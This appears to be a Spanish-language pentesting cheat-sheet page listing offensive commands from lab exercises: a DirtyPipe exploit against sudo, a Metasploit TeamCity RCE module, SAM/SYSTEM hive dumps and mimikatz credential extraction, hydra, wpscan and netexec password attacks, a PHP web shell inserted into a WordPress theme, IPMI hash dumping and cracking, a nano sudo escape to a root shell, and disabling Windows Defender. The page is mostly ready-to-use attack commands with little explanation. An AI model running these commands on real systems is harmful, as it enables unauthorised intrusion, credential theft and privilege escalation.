#1 https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/blob/main/README.md
#2 ./exploit-2 /usr/bin/sudo
Cyber defense operations
Pentest KB
Repositorio tecnico de pentesting con busqueda por area, fase, herramienta y etiquetas. El contenido inicial se entrega en HTML para lectura directa, indexacion y accesibilidad.
#exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198
Solo configurar host y listo
#1 reg save HKLM\SAM sam.save
#1 reg save HKLM\SYSTEM system.save
#1 sekurlsa::logonpasswords
Una vez que se ejecuta el exe de mimimkatz
sudo strings /dev/mem | less
hydra -l usuario -P /usr/share/wordlists/rockyou.txt smb://0.0.0.0
#1 crackmapexec smb 0.0.0.0 --shares -u '' -p ''
#1 curl -X GET "http:/0.0.0.0:13000/wp-content/themes/twentyseventeen/404.php?cmd=id"
#1 primero nos logueamos #Selecionamos el tema y lo editamos, agregando: <?php system($_GET['cmd']); /** * The template for displaying 404 pages (not found) * * @link https://codex.wordpress.org/Creating_an_Error_404_Page <SNIP>
#1 wpscan --password-attack xmlrpc -t 20 -U admin, user1 -P passwords.txt --url http://0.0.0.0:13000
#1 curl -s -X POST -d "<methodCall><methodName>system.listMethods</methodName></methodCall>" http://0.0.0.0:13000/xmlrpc.php | grep string | wc -l
#1 wpscan --url http://0.0.0.0:1300 --enumerate ap
#BaNDERA --disable-tls-checks
#1 sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local
#2 use auxiliary/scanner/ipmi/ipmi_dumphashes
#3 hashcat -m 7300 -w 3 -O "d2b6568782000000ce18c65026905dc8c2856a1e1d18b7adf12ad1d4eb51fd9f3c9a9d6421ac6f8fa123456789abcdefa123456789abcdef140561646d696e:21d534575e8035be3c03b9043523471313aea112" /usr/share/wordlists/rockyou.txt
#1Reconocemos #2 Obtenemos #3 Atacamos
#1 sudo netexec smb 0.0.0.0.0 -u anonymous -p anonymous --shares
#2 sudo netexec smb 0.0.0.0 -u john -p SuperSecurePass123 -M spider_plus
#1 sudo /usr/bin/nano privesc
#2 reset; sh 1>&0 2>&0
#3 nano /path/to/output-file
#1 Creamos un archivo con nano como root para ejecutar un comando ( Ctrl+R luego Ctrl+X) #2 Escribimos el comando, despues tecleamos ls o id y listo #3 para leer un archivo es directo (root) NOPASSWD: /usr/bin/nano (ALL : ALL) ALL
#1 curl -s -k https://0.0.0.0 | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
#2 curl -s -X GET http:0.0.0.0 | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
#quita los (;)
#1 curl https://10.10.10.127 -k | grep -i 'WordPress'
#2 curl https://10.10.10.127 -k | grep -i '/themes/'
#1 Version de wordpress #2 Tema utilizado
#1 Invoke-WebRequest -Uri "https://dominio.org/example.html" -Method GET | Get-Member
#2 Invoke-WebRequest -Uri "https://dominio.org/example.html" -Method GET | fl Images
#3 Invoke-WebRequest -Uri "https://dominio.org/example.html" -Method GET | fl RawContent
#4 Invoke-WebRequest -Uri "https://dominio.org/example.html/PowerView.ps1" -OutFile "C:\PowerView.ps1"
#1 Obtenemos las propiedades #2 Obtenemos las imágenes #3 Contenido raw #4 Descargar archivo
#1 sc query type= service
#2 sc stop windefend
#3 sc start Spooler
#4 tasklist /svc
#5 wmic service list brief
#1 Listar servicios #2 Detener un servicio #3 Iniciar un servicio
#1 where calc.exe
#2 where /R C:\Users\student\ bio.txt
#3 where /R C:\Users\student\ *.csv
#4 type "C:\Users\Administrator\customer_database.csv" | findstr /i "Nicholas Taylor"
#4busca una cadena en un archivo (powershell)
Get-Service | ? {$_.Status -eq "Running"} | select -First 5 |fl
#con el parámetro First indicamos el numero de procesos
